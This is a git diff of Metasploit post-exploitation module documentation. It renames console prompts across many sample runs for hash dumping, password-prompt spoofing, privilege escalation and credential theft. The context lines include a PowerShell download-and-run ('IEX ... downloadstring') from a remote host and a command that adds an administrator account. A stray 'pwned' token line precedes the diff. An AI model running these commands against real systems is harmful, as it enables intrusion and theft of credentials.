PWNED_APPLICATION_TOKEN=cHduZWQgdXIgZ2l0aHVi diff --git a/documentation/modules/post/osx/gather/hashdump.md b/documentation/modules/post/osx/gather/hashdump.md index 79ad868829112..13529496e9013 100644 --- a/documentation/modules/post/osx/gather/hashdump.md +++ b/documentation/modules/post/osx/gather/hashdump.md @@ -21,7 +21,7 @@ This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports versions 10 ### User level shell on OSX 10.14.4 ``` -msf5 post(osx/gather/hashdump) > run +msf post(osx/gather/hashdump) > run [-] Post aborted due to failure: bad-config: Insufficient Privileges: must be running as root to dump the hashes [*] Post module execution completed @@ -30,7 +30,7 @@ msf5 post(osx/gather/hashdump) > run ### Root level shell on OSX 10.14.4 ``` -msf5 post(osx/gather/hashdump) > run +msf post(osx/gather/hashdump) > run [*] Attempting to grab shadow for user nobody... [*] Attempting to grab shadow for user h00die... diff --git a/documentation/modules/post/osx/gather/password_prompt_spoof.md b/documentation/modules/post/osx/gather/password_prompt_spoof.md index 22f78cad6ac66..b83c035e1b732 100644 --- a/documentation/modules/post/osx/gather/password_prompt_spoof.md +++ b/documentation/modules/post/osx/gather/password_prompt_spoof.md @@ -33,7 +33,7 @@ allow permission for the prompt to be displayed. See Scenarios for additional d If the user does not complete the prompt in time, or does not enable permissions to receive the prompt: ``` -msf5 post(osx/gather/password_prompt_spoof) > run +msf post(osx/gather/password_prompt_spoof) > run [*] Running module against MacBook-Pro.nogroup [*] Waiting for user 'h00die' to enter credentials... @@ -45,7 +45,7 @@ msf5 post(osx/gather/password_prompt_spoof) > run If the user DOES complete the prompt in time: ``` -msf5 post(osx/gather/password_prompt_spoof) > run +msf post(osx/gather/password_prompt_spoof) > run [*] Running module against MacBook-Pro.nogroup [*] Waiting for user 'h00die' to enter credentials... diff --git a/documentation/modules/post/osx/gather/vnc_password_osx.md b/documentation/modules/post/osx/gather/vnc_password_osx.md index 526ad7c521ba0..bdba512ae6f12 100644 --- a/documentation/modules/post/osx/gather/vnc_password_osx.md +++ b/documentation/modules/post/osx/gather/vnc_password_osx.md @@ -23,14 +23,14 @@ System Preferences > Sharing > Screen Sharing > Computer Settings Typical run against an OSX session, with the vnc service activated: ``` -msf5 exploit(multi/handler) > use post/osx/gather/vnc_password_osx -msf5 post(osx/gather/vnc_password_osx) > set SESSION 1 +msf exploit(multi/handler) > use post/osx/gather/vnc_password_osx +msf post(osx/gather/vnc_password_osx) > set SESSION 1 SESSION => 1 -msf5 post(osx/gather/vnc_password_osx) > exploit +msf post(osx/gather/vnc_password_osx) > exploit [*] Checking VNC Password... [+] Password Found: PoCpassw [+] Password data stored as loot in: .msf4/loot/20181002142527_default_10.0.2.15_osx.vnc.password_371610.txt [*] Post module execution completed -msf5 post(osx/gather/vnc_password_osx) > +msf post(osx/gather/vnc_password_osx) > ``` diff --git a/documentation/modules/post/osx/manage/sonic_pi.md b/documentation/modules/post/osx/manage/sonic_pi.md index a9206610207c7..1cfd2714d45c1 100644 --- a/documentation/modules/post/osx/manage/sonic_pi.md +++ b/documentation/modules/post/osx/manage/sonic_pi.md @@ -54,7 +54,7 @@ default. ## Usage ``` -msf5 post(osx/manage/sonic_pi) > options +msf post(osx/manage/sonic_pi) > options Module options (post/osx/manage/sonic_pi): @@ -74,7 +74,7 @@ Post action: Run Run Sonic Pi code -msf5 post(osx/manage/sonic_pi) > advanced +msf post(osx/manage/sonic_pi) > advanced Module advanced options (post/osx/manage/sonic_pi): @@ -85,7 +85,7 @@ Module advanced options (post/osx/manage/sonic_pi): VERBOSE true no Enable detailed status messages WORKSPACE no Specify the workspace for this module -msf5 post(osx/manage/sonic_pi) > show actions +msf post(osx/manage/sonic_pi) > show actions Post actions: @@ -95,21 +95,21 @@ Post actions: Stop Stop all jobs -msf5 post(osx/manage/sonic_pi) > set session -1 +msf post(osx/manage/sonic_pi) > set session -1 session => -1 -msf5 post(osx/manage/sonic_pi) > run +msf post(osx/manage/sonic_pi) > run [+] Sonic Pi is running [*] Running Sonic Pi code: /rapid7/metasploit-framework/data/post/sonic_pi_example.rb [*] echo [snip] | base64 -D | /Applications/Sonic\ Pi.app/server/native/ruby/bin/ruby [*] Post module execution completed -msf5 post(osx/manage/sonic_pi) > set action Stop +msf post(osx/manage/sonic_pi) > set action Stop action => Stop -msf5 post(osx/manage/sonic_pi) > run +msf post(osx/manage/sonic_pi) > run [+] Sonic Pi is running [*] Stopping all jobs [*] echo [snip] | base64 -D | /Applications/Sonic\ Pi.app/server/native/ruby/bin/ruby [*] Post module execution completed -msf5 post(osx/manage/sonic_pi) > +msf post(osx/manage/sonic_pi) > ``` diff --git a/documentation/modules/post/solaris/escalate/pfexec.md b/documentation/modules/post/solaris/escalate/pfexec.md index b361623fd4293..4e744de50d242 100644 --- a/documentation/modules/post/solaris/escalate/pfexec.md +++ b/documentation/modules/post/solaris/escalate/pfexec.md @@ -34,26 +34,26 @@ ## Scenarios ``` - msf5 > use post/solaris/escalate/pfexec - msf5 post(solaris/escalate/pfexec) > sessions -i 1 -c id + msf > use post/solaris/escalate/pfexec + msf post(solaris/escalate/pfexec) > sessions -i 1 -c id [*] Running 'id' on shell session 1 (172.16.191.221) uid=100(user) gid=10(staff) - msf5 post(solaris/escalate/pfexec) > set verbose true + msf post(solaris/escalate/pfexec) > set verbose true verbose => true - msf5 post(solaris/escalate/pfexec) > set session 1 + msf post(solaris/escalate/pfexec) > set session 1 session => 1 - msf5 post(solaris/escalate/pfexec) > run + msf post(solaris/escalate/pfexec) > run [*] Trying pfexec as `user' ... [*] uid=0(root) gid=0(root) [+] Success! Upgrading session ... [+] Success! root shell secured [*] Post module execution completed - msf5 post(solaris/escalate/pfexec) > sessions -i 1 -c id + msf post(solaris/escalate/pfexec) > sessions -i 1 -c id [*] Running 'id' on shell session 1 (172.16.191.221) uid=0(root) gid=0(root) - msf5 post(solaris/escalate/pfexec) > + msf post(solaris/escalate/pfexec) > ``` diff --git a/documentation/modules/post/solaris/escalate/srsexec_readline.md b/documentation/modules/post/solaris/escalate/srsexec_readline.md index c3741db5b0c2f..741ea9034b762 100644 --- a/documentation/modules/post/solaris/escalate/srsexec_readline.md +++ b/documentation/modules/post/solaris/escalate/srsexec_readline.md @@ -39,7 +39,7 @@ ### Solaris 10 u9 with mock binary and python 2.4 ``` -msf5 post(solaris/escalate/srsexec_readline) > run +msf post(solaris/escalate/srsexec_readline) > run [+] 3.2.4 is vulnerable [+] Raw Command Output: verify_binary(vFYZf) @@ -53,7 +53,7 @@ see SYSLOG(/var/adm/messages) for errors [+] First line of /etc/shadow: root:MW7h.vpI1Kq1g:17599:::::: [+] Adding root's hash to the credential database. [*] Post module execution completed -msf5 post(solaris/escalate/srsexec_readline) > creds +msf post(solaris/escalate/srsexec_readline) > creds Credentials =========== diff --git a/documentation/modules/post/windows/escalate/getsystem.md b/documentation/modules/post/windows/escalate/getsystem.md index a766ac4b0b0a3..9ddbddcfff389 100644 --- a/documentation/modules/post/windows/escalate/getsystem.md +++ b/documentation/modules/post/windows/escalate/getsystem.md @@ -103,7 +103,7 @@ specifically by calling `EfsRpcEncryptFileSrv`. Once the connection is received, ### Windows 10 x64 21H2 Running As NT AUTHORITY\NETWORK SERVICE ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1 +msf payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1 [*] Starting interaction with 1... meterpreter > sysinfo diff --git a/documentation/modules/post/windows/escalate/unmarshal_cmd_exec.md b/documentation/modules/post/windows/escalate/unmarshal_cmd_exec.md index ebd3506da8dd5..453149aaeccf3 100644 --- a/documentation/modules/post/windows/escalate/unmarshal_cmd_exec.md +++ b/documentation/modules/post/windows/escalate/unmarshal_cmd_exec.md @@ -65,7 +65,7 @@ C:\Users\msfuser\Downloads>exit exit meterpreter > background [*] Backgrounding session 1... -msf5 post(windows/escalate/unmarshal_cmd_exec) > show options +msf post(windows/escalate/unmarshal_cmd_exec) > show options Module options (post/windows/escalate/unmarshal_cmd_exec): @@ -77,11 +77,11 @@ Module options (post/windows/escalate/unmarshal_cmd_exec): SCRIPT_NAME no The filename to use for the COM script file (%RAND% by default). SESSION yes The session to run this module on. -msf5 post(windows/escalate/unmarshal_cmd_exec) > set command 'net user /add egypt h@ks4shellz & net localgroup administrators /add egypt' +msf post(windows/escalate/unmarshal_cmd_exec) > set command 'net user /add egypt h@ks4shellz & net localgroup administrators /add egypt' command => net user /add egypt h@ks4shellz & net localgroup administrators /add egypt -msf5 post(windows/escalate/unmarshal_cmd_exec) > set verbose true +msf post(windows/escalate/unmarshal_cmd_exec) > set verbose true verbose => true -msf5 post(windows/escalate/unmarshal_cmd_exec) > run +msf post(windows/escalate/unmarshal_cmd_exec) > run [!] SESSION may not be compatible with this module. [*] Attempting to PrivEsc on WIN10X64-1703 via session ID: 1 @@ -113,7 +113,7 @@ Call: MarshalInterface [*] C:\Users\msfuser\AppData\Local\Temp\NCYcABO.sct already exists on the target. Deleting... [*] Deleted C:\Users\msfuser\AppData\Local\Temp\NCYcABO.sct [*] Post module execution completed -msf5 post(windows/escalate/unmarshal_cmd_exec) > sessions -i -1 +msf post(windows/escalate/unmarshal_cmd_exec) > sessions -i -1 [*] Starting interaction with 1... meterpreter > execute -f cmd.exe -i -H diff --git a/documentation/modules/post/windows/gather/avast_memory_dump.md b/documentation/modules/post/windows/gather/avast_memory_dump.md index 16387088bb069..70e574e28d47f 100644 --- a/documentation/modules/post/windows/gather/avast_memory_dump.md +++ b/documentation/modules/post/windows/gather/avast_memory_dump.md @@ -32,7 +32,7 @@ Specify the location to write the memory dump to. ### Windows 10 (2004 OS Build 19041.572) ``` -msf5 > search avast +msf > search avast Matching Modules ================ @@ -42,9 +42,9 @@ Matching Modules 0 post/windows/gather/avast_memory_dump normal No Avast AV Memory Dumping Utility -msf5 > use 0 +msf > use 0 -msf5 post(windows/gather/avast_memory_dump) > sessions -C 'ps -N notepad.exe' +msf post(windows/gather/avast_memory_dump) > sessions -C 'ps -N notepad.exe' [*] Running 'ps -N notepad.exe' on meterpreter session 4 (192.168.218.131) Filtering on 'notepad.exe' @@ -55,7 +55,7 @@ Process List --- ---- ---- ---- ------- ---- ---- 8504 1812 notepad.exe x64 1 DESKTOP-CD2VHVO\user C:\Windows\System32\notepad.exe -msf5 post(windows/gather/avast_memory_dump) > show options +msf post(windows/gather/avast_memory_dump) > show options Module options (post/windows/gather/avast_memory_dump): @@ -65,13 +65,13 @@ Module options (post/windows/gather/avast_memory_dump): PID 8504 yes specify pid to dump SESSION 4 yes The session to run this module on. -msf5 post(windows/gather/avast_memory_dump) > set PID 8504 +msf post(windows/gather/avast_memory_dump) > set PID 8504 PID => 8504 -msf5 post(windows/gather/avast_memory_dump) > set SESSION 4 +msf post(windows/gather/avast_memory_dump) > set SESSION 4 SESSION => 4 -msf5 post(windows/gather/avast_memory_dump) > run +msf post(windows/gather/avast_memory_dump) > run [*] [2020.10.21-22:49:24] AvDump.exe exists! [*] [2020.10.21-22:49:24] executing Avast mem dump utility against 8504 to C:\Users\Public\test.dmp diff --git a/documentation/modules/post/windows/gather/bloodhound.md b/documentation/modules/post/windows/gather/bloodhound.md index 7018c996675d4..433a181b5c051 100644 --- a/documentation/modules/post/windows/gather/bloodhound.md +++ b/documentation/modules/post/windows/gather/bloodhound.md @@ -79,7 +79,7 @@ If the cache file (.bin) should NOT be written to disk. Default is `true`. ### Windows 2012 Domain Controller, Download method ``` -msf6 post(windows/gather/bloodhound) > run +msf post(windows/gather/bloodhound) > run [*] Using URL: http://1.1.1.1:8080/127mPhBr3dZ [*] Loading BloodHound with: IEX (new-object net.webclient).downloadstring('http://1.1.1.1:8080/127mPhBr3dZ') @@ -126,9 +126,9 @@ Logged On Users : 7 Meterpreter : x86/windows meterpreter > background [*] Backgrounding session 1... -msf5 post(windows/gather/bloodhound) > set method disk +msf post(windows/gather/bloodhound) > set method disk method => disk -msf5 post(windows/gather/bloodhound) > exploit +msf post(windows/gather/bloodhound) > exploit [*] Uploading sharphound.exe as C:\Users\user\Desktop\qehojlwml.exe [*] Loading BloodHound with: . C:\Users\user\Desktop\qehojlwml.exe --outputdirectory "C:\Users\user\AppData\Local\Temp" --zipfilename eiqxerh --encryptzip --nosavecache @@ -157,7 +157,7 @@ powershell.exe -EncodedCommand LgAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAYQByAGEAXABEAGUAc [*] Deleting C:\Users\user\Desktop\qehojlwml.exe [*] Post module execution completed -msf5 post(windows/gather/bloodhound) > notes +msf post(windows/gather/bloodhound) > notes Notes ===== diff --git a/documentation/modules/post/windows/gather/credentials/adi_irc.md b/documentation/modules/post/windows/gather/credentials/adi_irc.md index 50b07d7ce1f63..79d6bf66c41c6 100644 --- a/documentation/modules/post/windows/gather/credentials/adi_irc.md +++ b/documentation/modules/post/windows/gather/credentials/adi_irc.md @@ -37,7 +37,7 @@ regular expression. The 'Store loot' options must be turned on in order for this ## Scenarios ### AdiIRC Client v4.4 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Default Output ``` -msf6 post(windows/gather/credentials/adi_irc) > run +msf post(windows/gather/credentials/adi_irc) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -89,7 +89,7 @@ msf6 post(windows/gather/credentials/adi_irc) > run ### AdiIRC Client v4.4 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Verbose Output ``` -msf6 post(windows/gather/credentials/adi_irc) > run +msf post(windows/gather/credentials/adi_irc) > run [*] Filtering based on these selections: [*] ARTIFACTS: All diff --git a/documentation/modules/post/windows/gather/credentials/avira_password.md b/documentation/modules/post/windows/gather/credentials/avira_password.md index a6fec789e58bc..785e13820db82 100644 --- a/documentation/modules/post/windows/gather/credentials/avira_password.md +++ b/documentation/modules/post/windows/gather/credentials/avira_password.md @@ -29,12 +29,12 @@ To enable the password functionality, use the following instructions: ### Avira Antivirus 15.0.2009.1965 on Windows 10 ``` -msf6 exploit(multi/handler) > use post/windows/gather/credentials/avira_password -msf6 post(windows/gather/credentials/avira_password) > set session 1 +msf exploit(multi/handler) > use post/windows/gather/credentials/avira_password +msf post(windows/gather/credentials/avira_password) > set session 1 session => 1 -msf6 post(windows/gather/credentials/avira_password) > set verbose true +msf post(windows/gather/credentials/avira_password) > set verbose true verbose => true -msf6 post(windows/gather/credentials/avira_password) > run +msf post(windows/gather/credentials/avira_password) > run [*] Checking default location... [*] Found file at C:\ProgramData\Avira\Antivirus\CONFIG\AVWIN.INI @@ -49,7 +49,7 @@ msf6 post(windows/gather/credentials/avira_password) > run ##### John ``` -msf6 post(windows/gather/credentials/avira_password) > creds +msf post(windows/gather/credentials/avira_password) > creds Credentials =========== @@ -57,7 +57,7 @@ host origin service public private realm pr ---- ------ ------- ------ ------- ----- ------------ ---------- 192.168.2.92 C8059E2EC7419F590E79D7F1B774BFE6 Nonreplayable hash Raw-MD5u -msf6 post(windows/gather/credentials/avira_password) > creds -o /tmp/avira.jtr +msf post(windows/gather/credentials/avira_password) > creds -o /tmp/avira.jtr [*] Wrote creds to /tmp/avira.jtr ``` diff --git a/documentation/modules/post/windows/gather/credentials/carotdav_ftp.md b/documentation/modules/post/windows/gather/credentials/carotdav_ftp.md index cf5c04adbb4d5..1f6155cccc9e4 100644 --- a/documentation/modules/post/windows/gather/credentials/carotdav_ftp.md +++ b/documentation/modules/post/windows/gather/credentials/carotdav_ftp.md @@ -37,7 +37,7 @@ regular expression. The 'Store loot' options must be turned on in order for this ## Scenarios ### CarotDAV FTP v1.16.3 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Default Output ``` -msf6 post(windows/gather/credentials/carotdav_ftp) > run +msf post(windows/gather/credentials/carotdav_ftp) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -65,7 +65,7 @@ msf6 post(windows/gather/credentials/carotdav_ftp) > run ### CarotDAV FTP v1.16.3 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Verbose Output ``` -msf6 post(windows/gather/credentials/carotdav_ftp) > run +msf post(windows/gather/credentials/carotdav_ftp) > run [*] Filtering based on these selections: [*] ARTIFACTS: All diff --git a/documentation/modules/post/windows/gather/credentials/chrome.md b/documentation/modules/post/windows/gather/credentials/chrome.md index 748c7dcbb99c5..ccdc55035f74e 100644 --- a/documentation/modules/post/windows/gather/credentials/chrome.md +++ b/documentation/modules/post/windows/gather/credentials/chrome.md @@ -35,7 +35,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ### Default Output ``` -msf6 post(windows/gather/credentials/chrome) > run +msf post(windows/gather/credentials/chrome) > run [*] Filtering based on these selections: [*] ARTIFACTS: All diff --git a/documentation/modules/post/windows/gather/credentials/comodo.md b/documentation/modules/post/windows/gather/credentials/comodo.md index 3022a0a91d184..6f577824e5792 100644 --- a/documentation/modules/post/windows/gather/credentials/comodo.md +++ b/documentation/modules/post/windows/gather/credentials/comodo.md @@ -35,7 +35,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ### Default Output ``` -msf6 post(windows/gather/credentials/comodo) > run +msf post(windows/gather/credentials/comodo) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -74,4 +74,3 @@ msf6 post(windows/gather/credentials/comodo) > run [*] Post module execution completed ``` - \ No newline at end of file diff --git a/documentation/modules/post/windows/gather/credentials/coolnovo.md b/documentation/modules/post/windows/gather/credentials/coolnovo.md index 8e9c5e8891a77..33d048c7aa1a3 100644 --- a/documentation/modules/post/windows/gather/credentials/coolnovo.md +++ b/documentation/modules/post/windows/gather/credentials/coolnovo.md @@ -34,7 +34,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ``` -msf6 post(windows/gather/credentials/coolnovo) > run +msf post(windows/gather/credentials/coolnovo) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -57,4 +57,4 @@ msf6 post(windows/gather/credentials/coolnovo) > run [+] File with data saved: /root/.msf4/loot/20210521113237_default_192.168.56.106_EXTRACTIONSLogin_857688.bin [*] PackRat credential sweep Completed [*] Post module execution completed - ``` \ No newline at end of file + ``` diff --git a/documentation/modules/post/windows/gather/credentials/digsby.md b/documentation/modules/post/windows/gather/credentials/digsby.md index 4f4ffc09493fc..e1c86908a57d2 100644 --- a/documentation/modules/post/windows/gather/credentials/digsby.md +++ b/documentation/modules/post/windows/gather/credentials/digsby.md @@ -34,7 +34,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ``` -msf6 post(windows/gather/credentials/digsby) > run +msf post(windows/gather/credentials/digsby) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -54,4 +54,4 @@ msf6 post(windows/gather/credentials/digsby) > run [+] File with data saved: /root/.msf4/loot/20210524095736_default_192.168.56.106_EXTRACTIONlogini_987217.bin [*] PackRat credential sweep Completed [*] Post module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/post/windows/gather/credentials/flock.md b/documentation/modules/post/windows/gather/credentials/flock.md index bb094112eff76..ade2f97f523f0 100644 --- a/documentation/modules/post/windows/gather/credentials/flock.md +++ b/documentation/modules/post/windows/gather/credentials/flock.md @@ -35,7 +35,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ### Default Output ``` -mmsf6 post(windows/gather/credentials/flock) > run +mmsf post(windows/gather/credentials/flock) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -64,4 +64,4 @@ mmsf6 post(windows/gather/credentials/flock) > run [*] PackRat credential sweep Completed [*] Post module execution completed - ``` \ No newline at end of file + ``` diff --git a/documentation/modules/post/windows/gather/credentials/halloy_irc.md b/documentation/modules/post/windows/gather/credentials/halloy_irc.md index db043c12531ed..bbeb826a158ab 100644 --- a/documentation/modules/post/windows/gather/credentials/halloy_irc.md +++ b/documentation/modules/post/windows/gather/credentials/halloy_irc.md @@ -37,7 +37,7 @@ regular expression. The 'Store loot' options must be turned on in order for this ## Scenarios ### Halloy v2024.6 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Default Output ``` -msf6 post(windows/gather/credentials/halloy_irc) > run +msf post(windows/gather/credentials/halloy_irc) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -61,7 +61,7 @@ msf6 post(windows/gather/credentials/halloy_irc) > run ### Halloy v2024.6 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Verbose Output ``` -msf6 post(windows/gather/credentials/halloy_irc_v2) > run +msf post(windows/gather/credentials/halloy_irc_v2) > run [*] Filtering based on these selections: [*] ARTIFACTS: All diff --git a/documentation/modules/post/windows/gather/credentials/kakaotalk.md b/documentation/modules/post/windows/gather/credentials/kakaotalk.md index 21ce09231cf40..9cbeeef0d95d4 100644 --- a/documentation/modules/post/windows/gather/credentials/kakaotalk.md +++ b/documentation/modules/post/windows/gather/credentials/kakaotalk.md @@ -35,7 +35,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ### Default Output ``` -msf6 post(windows/gather/kakaotalk) > run +msf post(windows/gather/kakaotalk) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -62,7 +62,7 @@ msf6 post(windows/gather/kakaotalk) > run ### Verbose Output ``` -msf6 post(windows/gather/kakaotalk) > run +msf post(windows/gather/kakaotalk) > run [*] Filtering based on these selections: [*] ARTIFACTS: All diff --git a/documentation/modules/post/windows/gather/credentials/kmeleon.md b/documentation/modules/post/windows/gather/credentials/kmeleon.md index 4ee887430026a..d0fa6373c10e6 100644 --- a/documentation/modules/post/windows/gather/credentials/kmeleon.md +++ b/documentation/modules/post/windows/gather/credentials/kmeleon.md @@ -35,7 +35,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ### Default Output ``` -msf6 post(windows/gather/credentials/kmeleon) > run +msf post(windows/gather/credentials/kmeleon) > run [*] Filtering based on these selections: [*] ARTIFACTS: All diff --git a/documentation/modules/post/windows/gather/credentials/line.md b/documentation/modules/post/windows/gather/credentials/line.md index 3040d715fdaab..d18cdf5d9ff78 100644 --- a/documentation/modules/post/windows/gather/credentials/line.md +++ b/documentation/modules/post/windows/gather/credentials/line.md @@ -35,7 +35,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ### Default Output ``` -msf6 post(windows/gather/line) > run +msf post(windows/gather/line) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -63,7 +63,7 @@ msf6 post(windows/gather/line) > run ### Verbose Output ``` -msf6 post(windows/gather/line) > run +msf post(windows/gather/line) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -97,4 +97,4 @@ msf6 post(windows/gather/line) > run [*] PackRat credential sweep Completed [*] Post module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/post/windows/gather/credentials/moba_xterm.md b/documentation/modules/post/windows/gather/credentials/moba_xterm.md index 454f73bcd15d9..bfe033a91360f 100644 --- a/documentation/modules/post/windows/gather/credentials/moba_xterm.md +++ b/documentation/modules/post/windows/gather/credentials/moba_xterm.md @@ -30,7 +30,7 @@ ``` -msf6 post(windows/gather/credentials/moba_xterm) > run +msf post(windows/gather/credentials/moba_xterm) > run [*] Gathering MobaXterm session information from WIN-79MR8QJM50N [!] Parsing is not supported: #84#9%C:\Users\FireEye\Desktop%0%#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Colors_0_%80%24 %0%1%-1%%%0#0# #-1 diff --git a/documentation/modules/post/windows/gather/credentials/navicat.md b/documentation/modules/post/windows/gather/credentials/navicat.md index 009f1f15baf24..403c6aa14adfc 100644 --- a/documentation/modules/post/windows/gather/credentials/navicat.md +++ b/documentation/modules/post/windows/gather/credentials/navicat.md @@ -46,9 +46,9 @@ meterpreter > * Specify **NCX_PATH** ``` -msf6 post(windows/gather/credentials/navicat) > set ncx_path C:\\Users\\FireEye\\Desktop\\connections.ncx +msf post(windows/gather/credentials/navicat) > set ncx_path C:\\Users\\FireEye\\Desktop\\connections.ncx ncx_path => C:\Users\FireEye\Desktop\connections.ncx -msf6 post(windows/gather/credentials/navicat) > run +msf post(windows/gather/credentials/navicat) > run [*] Gathering Navicat password information from WIN-79MR8QJM50N [*] Looking for C:\Users\FireEye\Desktop\connections.ncx @@ -69,4 +69,4 @@ test_sqlserver mssql 127.0.0.1 1433 user password [*] Post module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/post/windows/gather/credentials/opera.md b/documentation/modules/post/windows/gather/credentials/opera.md index 6ccfbf87da079..3c7686131645a 100644 --- a/documentation/modules/post/windows/gather/credentials/opera.md +++ b/documentation/modules/post/windows/gather/credentials/opera.md @@ -35,7 +35,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ### Default Output ``` -msf6 post(windows/gather/credentials/opera) > run +msf post(windows/gather/credentials/opera) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -65,4 +65,4 @@ msf6 post(windows/gather/credentials/opera) > run [*] PackRat credential sweep Completed [*] Post module execution completed - ``` \ No newline at end of file + ``` diff --git a/documentation/modules/post/windows/gather/credentials/operamail.md b/documentation/modules/post/windows/gather/credentials/operamail.md index 8538b78e0ab8c..7e8e905185954 100644 --- a/documentation/modules/post/windows/gather/credentials/operamail.md +++ b/documentation/modules/post/windows/gather/credentials/operamail.md @@ -35,7 +35,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ### Default Output ``` -msf6 post(windows/gather/credentials/operamail) > run +msf post(windows/gather/credentials/operamail) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -93,7 +93,7 @@ msf6 post(windows/gather/credentials/operamail) > run ### Verbose Output ``` -msf6 post(windows/gather/credentials/operamail) > run +msf post(windows/gather/credentials/operamail) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -160,4 +160,4 @@ msf6 post(windows/gather/credentials/operamail) > run [*] PackRat credential sweep Completed [*] Post module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/post/windows/gather/credentials/postbox.md b/documentation/modules/post/windows/gather/credentials/postbox.md index ce6448d4a3e75..30745b826d390 100644 --- a/documentation/modules/post/windows/gather/credentials/postbox.md +++ b/documentation/modules/post/windows/gather/credentials/postbox.md @@ -35,7 +35,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ### Default Output ``` -msf6 post(windows/gather/credentials/postbox) > run +msf post(windows/gather/credentials/postbox) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -62,4 +62,4 @@ msf6 post(windows/gather/credentials/postbox) > run [*] Postbox Sent-1.msf downloaded [+] File saved to: /root/.msf4/loot/20210513064137_default_192.168.56.106_postboxSent1.ms_354629.msf - ``` \ No newline at end of file + ``` diff --git a/documentation/modules/post/windows/gather/credentials/pulse_secure.md b/documentation/modules/post/windows/gather/credentials/pulse_secure.md index 512085f856405..a61b619b44850 100644 --- a/documentation/modules/post/windows/gather/credentials/pulse_secure.md +++ b/documentation/modules/post/windows/gather/credentials/pulse_secure.md @@ -39,7 +39,7 @@ end ### Pulse Secure 9.0.4 on Microsoft Windows 10 Enterprise 19042 ``` -msf6 post(windows/gather/credentials/pulse_secure) > run +msf post(windows/gather/credentials/pulse_secure) > run [*] Target is running Pulse Secure Connect build 9.0.4.1731. [+] This version is considered vulnerable. @@ -58,7 +58,7 @@ msf6 post(windows/gather/credentials/pulse_secure) > run With leftovers from previously installed version (9.0.4): ``` -msf6 post(windows/gather/credentials/pulse_secure) > run +msf post(windows/gather/credentials/pulse_secure) > run [*] Target is running Pulse Secure Connect build 9.0.5.1907. [!] You're executing from an unprivileged process so this version is considered safe. @@ -77,7 +77,7 @@ msf6 post(windows/gather/credentials/pulse_secure) > run Without any leftovers from previously installed versions: ``` -msf6 post(windows/gather/credentials/pulse_secure) > run +msf post(windows/gather/credentials/pulse_secure) > run [*] Target is running Pulse Secure Connect build 9.0.5.1907. [!] You're executing from an unprivileged process so this version is considered safe. @@ -91,7 +91,7 @@ msf6 post(windows/gather/credentials/pulse_secure) > run ### Pulse Secure 9.0.5 on Microsoft Windows 10 Enterprise 19042 (Elevated) ``` -msf6 post(windows/gather/credentials/pulse_secure) > run +msf post(windows/gather/credentials/pulse_secure) > run [*] Target is running Pulse Secure Connect build 9.0.5.1907. [+] You're executing from a privileged process so this version is considered vulnerable. @@ -108,7 +108,7 @@ msf6 post(windows/gather/credentials/pulse_secure) > run ### Pulse Secure 9.1.3 on Microsoft Windows 10 Enterprise 19042 ``` -msf6 post(windows/gather/credentials/pulse_secure) > run +msf post(windows/gather/credentials/pulse_secure) > run [*] Target is running Pulse Secure Connect build 9.1.3.1313. [+] This version is considered vulnerable. @@ -127,7 +127,7 @@ msf6 post(windows/gather/credentials/pulse_secure) > run With leftovers from previously installed version (9.1.3): ``` -msf6 post(windows/gather/credentials/pulse_secure) > run +msf post(windows/gather/credentials/pulse_secure) > run [*] Target is running Pulse Secure Connect build 9.1.4.1955. [!] You're executing from an unprivileged process so this version is considered safe. @@ -146,7 +146,7 @@ msf6 post(windows/gather/credentials/pulse_secure) > run Without leftovers: ``` -msf6 post(windows/gather/credentials/pulse_secure) > run +msf post(windows/gather/credentials/pulse_secure) > run [*] Target is running Pulse Secure Connect build 9.1.4.1955. [!] You're executing from an unprivileged process so this version is considered safe. @@ -159,7 +159,7 @@ msf6 post(windows/gather/credentials/pulse_secure) > run ### Pulse Secure 9.1.4 on Microsoft Windows 10 Enterprise 19042 (Elevated) ``` -msf6 post(windows/gather/credentials/pulse_secure) > run +msf post(windows/gather/credentials/pulse_secure) > run [*] Target is running Pulse Secure Connect build 9.1.4.1955. [+] You're executing from a privileged process so this version is considered vulnerable. @@ -176,7 +176,7 @@ msf6 post(windows/gather/credentials/pulse_secure) > run ### Host without Pulse Secure ``` -msf6 post(windows/gather/credentials/pulse_secure) > run +msf post(windows/gather/credentials/pulse_secure) > 